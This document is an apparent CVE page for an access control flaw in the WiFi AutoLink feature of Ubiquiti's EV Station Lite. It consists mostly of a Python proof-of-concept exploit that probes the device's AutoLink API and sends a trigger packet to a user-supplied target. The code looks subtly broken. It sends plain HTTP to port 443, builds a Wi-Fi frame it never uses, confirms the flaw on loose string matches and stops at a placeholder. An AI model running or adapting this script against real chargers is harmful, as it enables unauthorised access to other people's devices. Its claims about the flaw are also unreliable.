CVE-2026-21635: Ubiquiti EV Station Lite WiFi AutoLink访问控制不当漏洞

# CVE-2026-21635 PoC - EV Station Lite WiFi AutoLink Exploitation # This PoC demonstrates the improper access control in WiFi AutoLink feature # Note: This is for educational and authorized testing purposes only import socket import struct import time def create_wifi_probe_request(ssid): """Create a Wi-Fi probe request frame""" frame = b'\x40' # Frame Control: Probe Request frame += b'\x00' # Duration frame += b'\xff\xff\xff\xff\xff\xff' # Destination: Broadcast frame += b'\x00\x11\x22\x33\x44\x55' # Source: Attacker MAC frame += b'\xff\xff\xff\xff\xff\xff' # BSSID: Broadcast frame += b'\x00\x00' # Sequence control frame += b'\x00' + bytes([len(ssid)]) + ssid.encode() # SSID IE frame += b'\x01\x08\x82\x84\x8b\x96\x24\x30\x48' # Supported rates return frame def send_autolink_trigger(target_ip, target_mac): """Send trigger packet to exploit WiFi AutoLink""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = b'AUTOLINK_TRIGGER' payload += b'\x01' # Trigger flag payload += target_mac.encode() if isinstance(target_mac, str) else target_mac try: sock.sendto(payload, (target_ip, 8080)) print(f"[*] Sent AutoLink trigger to {target_ip}") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() def check_wifi_enabled(target_ip): """Check if WiFi AutoLink is accessible""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target_ip, 443)) request = b'GET /api/wifi/autolink/status HTTP/1.1\r\nHost: ' request += target_ip.encode() request += b'\r\n\r\n' sock.send(request) response = sock.recv(1024) if b'200' in response or b'autolink' in response.lower(): print("[+] WiFi AutoLink is accessible - vulnerability confirmed") return True except: pass finally: sock.close() return False def main(): target_ip = input("Enter target EV Station Lite IP: ") target_mac = input("Enter target MAC address: ") print("[*] CVE-2026-21635 PoC - EV Station Lite WiFi AutoLink Access Control Bypass") print(f"[*] Target: {target_ip}") # Step 1: Probe for WiFi AutoLink endpoint if check_wifi_enabled(target_ip): print("[+] Step 1: WiFi AutoLink endpoint is accessible") # Step 2: Send AutoLink trigger send_autolink_trigger(target_ip, target_mac) # Step 3: Capture network configuration print("[+] Step 2: Attempting to retrieve network configuration...") # Additional exploitation steps would go here else: print("[-] WiFi AutoLink is not accessible or device is patched") if __name__ == "__main__": main()